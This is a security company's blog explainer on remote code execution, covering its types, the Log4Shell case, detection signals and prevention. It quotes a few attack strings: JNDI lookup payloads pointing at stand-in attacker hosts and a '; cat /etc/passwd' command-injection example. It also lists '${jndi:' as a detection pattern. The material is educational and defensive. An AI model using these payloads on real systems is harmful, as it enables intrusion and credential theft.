Security operations

What Is RCE? Remote Code Execution Explained With Real Examples

Remote code execution is the most serious outcome a web vulnerability can have: an attacker runs their code on your server. Here is how it happens and how to stop it.

Cysoro Security TeamPublished · 9 min read
$ curl https://target.example/GET /search?q=${jndi:ldap://evil.example/a}REMOTE CODE EXECUTED CVSS 10.0Log4ShellCWE-94Code injection SECURITY OPERATIONS What isRCE? Their code, running on your server.
Quick answer

Remote code execution (RCE) is a vulnerability outcome in which an attacker who can reach a system over a network causes it to run code of the attacker's choosing. It usually starts with untrusted input being treated as code — through code injection, command injection, unsafe deserialization or a vulnerable library — and it can lead to full server compromise, data theft and ransomware.

Key takeaways

  • RCE is an outcome, not one bug: code injection, command injection, deserialization and file upload flaws can all lead to it.
  • Log4Shell (CVE-2021-44228, CVSS 10.0) is the most famous RCE flaw — one logged string gave attackers full server control.
  • Prevention is patching fast, validating input, never building code from user input, and running services with least privilege.

Remote code execution — RCE — is the outcome every other web vulnerability wants to reach. Once an attacker can run code on your server, they are no longer attacking your application. They are attacking the machine, with whatever access your server process has.

What is remote code execution (RCE)?

Remote code execution is a vulnerability outcome in which an attacker who can reach a system over a network causes it to run code of the attacker's choosing. The attacker needs no account and no physical access.

Each word matters. "Remote" means the attacker works over the network — often from anywhere on the internet. "Code execution" means the attacker's instructions actually run on the target, not just data being read or changed. "Arbitrary" is the word often added: the attacker, not the owner, picks the code.

RCE is an outcome, not one kind of bug. Several different weaknesses lead to it, which is why there is no single CWE number for RCE itself. The most common routes are code injection (CWE-94), OS command injection (CWE-78), deserialization of untrusted data (CWE-502), unrestricted file upload (CWE-434) and memory corruption such as buffer overflows.

RCE vs arbitrary code execution vs code injection vs command injection

These terms overlap, and mixing them up causes confusion in incident reports and patch notes. The table sorts them out.

TermWhat it isExample
RCEOutcome: code runs remotelyLog4Shell string in a log message
Arbitrary code executionOutcome: attacker's code runsMalicious file opened locally
Code injection (CWE-94)Cause: input becomes code the app runseval() on user input
Command injection (CWE-78)Cause: input alters an OS shell commandUnsanitized input in a ping command
Deserialization (CWE-502)Cause: untrusted data rebuilt into objectsJava object stream from a request
XSSDifferent: code runs in a visitor's browserScript injected into a web page

OWASP describes code injection as the general term for attacks that inject code that is then interpreted or executed by the application, exploiting poor handling of untrusted data. It differs from command injection in that the attacker is limited only by what the injected language can do — inject PHP code, and you are limited only by what PHP can do. See OWASP's code injection page for the full description and examples.

MITRE's CWE-94 puts it precisely: the product builds all or part of a code segment using externally influenced input, but does not neutralize the special elements that could change what that code does. That lets attackers inject control data through legitimate data channels and alter program execution.

How does remote code execution work?

The mechanism is always the same shape: untrusted bytes from a request cross a boundary into something that parses bytes as code. The boundary might be a shell, a template engine, a language runtime, or a deserializer.

How an RCE attack works, step by step 1. Attackersends a craftedrequest 2. App trusts itinput reaches acode sink 3. Code runseval, shell, templateor deserializer 4. Attacker winsreads files, stealssecrets, spreads RCEfullcontrol The fix is at step 2: never let untrusted input reach a code sink.
The RCE chain: a crafted request, a trusted code sink, and the attacker's code running on your server. Illustration by Cysoro.

Consider a simple example from OWASP. An application passes a page name from a GET request to PHP's include() function with no validation. An attacker asks for a remote file instead of a local page, and the server executes the attacker's PHP. The same pattern appears with eval(): pass untrusted data into eval() and the attacker can run anything, including system commands.

The code that runs starts with whatever the server process has: its operating system user, the files it can open, the secrets in its environment, and the network destinations it can reach. That is why RCE is so serious — it is not one record leaked, it is the whole server.

What are the main types of RCE vulnerability?

Five routes account for most RCE flaws. Knowing them helps you recognize the pattern in your own code.

Code injection (CWE-94)

Input is built into code that the application's own language or expression engine evaluates. Classic sinks are eval(), new Function(), and PHP include() on user input. CWE-94 notes that injected code can reach resources the attacker is directly prevented from accessing, and that its actions are often unlogged.

OS command injection (CWE-78)

Input is concatenated into a shell command. A classic example is a "ping this host" feature that passes the hostname straight to the shell: an attacker adds ; cat /etc/passwd and the shell runs both commands. OWASP recommends avoiding direct OS command execution whenever possible and using safer library functions instead.

Insecure deserialization (CWE-502)

The application rebuilds objects from untrusted data — a Java object stream, a Python pickle, a PHP serialized string. A crafted payload can trigger code execution during the rebuild. OWASP warns that unsafe deserialization can lead to denial of service, access control bypass, and remote code execution.

Server-side template injection (SSTI)

Input is rendered inside a template engine without proper escaping, so the attacker injects template syntax that the engine executes. This is CWE-1336 in MITRE's catalog, a child of CWE-94.

Unrestricted file upload (CWE-434)

The application lets users upload files and then serves them from a location where they are executed — a PHP shell uploaded as a profile picture, for example. Validating the file type on the server side, not just in the browser, is essential.

What happened with Log4Shell?

Log4Shell, tracked as CVE-2021-44228, is the most famous RCE flaw ever disclosed — and the clearest example of how small the trigger can be. A single string in a log message gave attackers full remote code execution.

Apache Log4j 2, a Java logging library used in countless servers, processed expressions inside the text it was logging. An attacker who could get the string ${jndi:ldap://attacker.com/exploit} into any logged field — a username, a chat message, a search box — made Log4j connect to the attacker's server, download a Java class, and run it.

The flaw was reported to Apache on 24 November 2021 by Chen Zhaojun of the Alibaba Cloud Security Team, and disclosed publicly on 9 December 2021. The NVD scored it 10.0, the maximum on the CVSS scale. CISA added it to the Known Exploited Vulnerabilities catalog the same day and issued Emergency Directive 22-02 on 17 December, ordering federal civilian agencies to mitigate it on a tight deadline.

Exploitation in the wild began on or around 1 December 2021, nine days before the public CVE was published. The fix was to upgrade to Log4j 2.17.0 or later, which removed the dangerous JNDI lookup behavior. The lesson still applies: a library you never chose directly can be the hole in your defenses, because Log4j sat two or three layers deep in most dependency trees.

RCE flaws keep appearing in major frameworks. CVE-2025-55182 in React Server Components, for example, was rated CVSS 10.0 as an unauthenticated remote code execution flaw — a reminder that even the most widely used libraries need prompt patching.

What damage can RCE cause?

OWASP lists the impact of a successful code injection attack as loss of confidentiality, loss of integrity, loss of availability, and loss of accountability. In practice that means stolen data, changed data, crashed services, and actions nobody can trace.

Once code runs on a server, the attacker typically steals credentials and secrets from the environment, reads the database, installs a web shell for persistent access, and uses the server as a stepping stone to other systems. RCE is often the first step toward ransomware: the attacker encrypts what they can reach after they have already copied what they want.

The impact depends on privilege. Code running as a low-privilege web user is bad; code running as SYSTEM or root is catastrophic. That is why running services with least privilege matters so much — it is the difference between one compromised app and the whole machine.

How do you detect remote code execution?

RCE is hard to spot from the outside because a successful exploit looks like a normal request until the payload runs. Detection relies on watching what happens after the request arrives.

  • Unexpected processes: a web server spawning a shell, a downloader, or a crypto miner is a strong signal.
  • New files in web directories: web shells and uploaded payloads appear where they should not.
  • Outbound connections: a server connecting to an unknown external address, especially just after a request, is suspicious.
  • Log anomalies: strings such as ${jndi:, shell metacharacters, or template syntax in fields that should hold names and addresses.
  • KEV monitoring: CISA's Known Exploited Vulnerabilities catalog lists RCE flaws with evidence of active exploitation, so prioritize those patches first.

This is where a security operations center earns its keep. Our guide to the network security operations center explains how a SOC watches for exactly these signals around the clock.

Five signals that suggest RCE 1. Web server spawns a shell or downloader 2. New files appear in web directories 3. Outbound connections to unknown servers 4. Suspicious strings in logs: ${jndi:, shell syntax 5. A KEV-listed RCE flaw is unpatched on your estate
Any one of these deserves an investigation; two together deserve an incident response. Illustration by Cysoro.

How do you prevent remote code execution?

Prevention works at every layer: stop the flaw, stop the payload, and limit the damage if it runs anyway.

  1. Patch fast, especially KEV-listed flaws. RCE flaws are exploited within hours of disclosure. Prioritize anything in CISA's KEV catalog.
  2. Never build code from user input. Do not pass untrusted data to eval(), exec(), shell commands or template engines. Refactor so you never need to generate code dynamically.
  3. Validate input with allowlists. Assume all input is malicious. Accept only inputs that strictly conform to the specification, and reject the rest.
  4. Use safe APIs. Use parameterized queries, library functions and safe deserialization formats instead of shell calls and object streams.
  5. Run with least privilege. Give each service only the access it needs, so a compromise stays contained.
  6. Sandbox where you can. Run code in a jail or sandbox that enforces strict boundaries between the process and the operating system.
  7. Use a WAF as a stopgap. A web application firewall can block known exploit patterns while you patch — what OWASP calls virtual patching. It buys time; it is not a fix.

CWE-94's own mitigations say the same thing: refactor so you do not have to dynamically generate code, validate input with an allowlist, and run code in a sandboxed environment. For Python, use ast.literal_eval() instead of eval() — though never on untrusted data either, since deeply nested structures can still cause harm.

What should you do if you find an RCE flaw?

Act like it is already being exploited, because it probably is. Isolate the affected system from the network, preserve logs and memory for forensics, and patch or disable the vulnerable component before you bring it back.

Then hunt: check for web shells, new accounts, changed scheduled tasks and outbound connections in the days before the patch. RCE is rarely a one-shot attack — attackers use it to establish persistence. If you only patch and move on, the backdoor stays.

Finally, report it. In the US, significant incidents can be reported to CISA, and the vulnerability itself should go to the vendor and, where appropriate, to the CVE program so others can patch too. You can check your own public-facing posture with our free security headers checker.

Our guide to what spear phishing is covers the social-engineering side of how attackers get their first foothold.

The bottom line

RCE is the most serious outcome a vulnerability can have: an attacker runs their code on your server. It arrives through ordinary-looking flaws — input treated as code, a shell command built from a form field, an unsafe deserializer, a library you forgot you depended on.

The defenses are unglamorous and they work: patch fast, never build code from input, validate everything, and run services with least privilege. Check your public-facing basics today with the free SSL checker.

Frequently asked questions

What is RCE in simple terms?

RCE means remote code execution: an attacker sends something to your software over the network, and your server runs the attacker's code. The attacker never needs an account on the machine or physical access to it.

What is the difference between RCE and arbitrary code execution?

Arbitrary code execution means the attacker runs code of their choosing on a system. RCE is the same outcome triggered remotely, over a network. Every RCE is arbitrary code execution, but not every arbitrary code execution is remote.

What is the difference between code injection and command injection?

Code injection inserts code that the application itself interprets, such as PHP or Python. Command injection extends or alters commands the application passes to the operating system shell. Both can lead to RCE, and OWASP treats them as related but distinct attacks.

What is an example of an RCE vulnerability?

Log4Shell (CVE-2021-44228) is the best-known example. A single string in a log message made Apache Log4j fetch and run a Java class from an attacker's server, giving full remote code execution with a CVSS score of 10.0, the maximum.

How do you detect RCE?

Look for unexpected processes, new files in web directories, outbound connections to unknown servers, and log entries containing suspicious strings such as ${jndi: or shell commands. A SOC monitors for these signals continuously.

How do you prevent remote code execution?

Patch promptly, never build code or shell commands from user input, validate all input against an allowlist, use safe APIs instead of eval() and shell calls, avoid unsafe deserialization, and run services with the least privilege so a compromise is contained.

Is RCE the same as hacking a server?

RCE is one way to hack a server — and the most complete one. Once an attacker has code execution, they can read files, steal credentials, install malware and move to other systems on the network.

Sources

  1. OWASP — Code Injection
  2. MITRE — CWE-94: Improper Control of Generation of Code (Code Injection)
  3. NIST National Vulnerability Database — CVE-2021-44228 (Log4Shell)
  4. CISA — Known Exploited Vulnerabilities Catalog
Written & fact-checked byCysoro Security Team

The engineers and analysts who build Cysoro's domain scanner, email-authentication checks and free security tools. We test what we write about every day — SPF, DKIM, DMARC, certificates, look-alike domains and phishing — and check each guide against the relevant standards, government guidance and vendor documentation.

  • Email authentication
  • Phishing & BEC
  • Domain & DNS security
  • Small-business security

Checked against OWASP's code injection guidance, MITRE CWE-94 and the NVD record for CVE-2021-44228.

How we write and fact-check →

Free tools for this topic

No account needed.

See where your domain stands

Free for up to 3 domains. No card, no installs.

Start free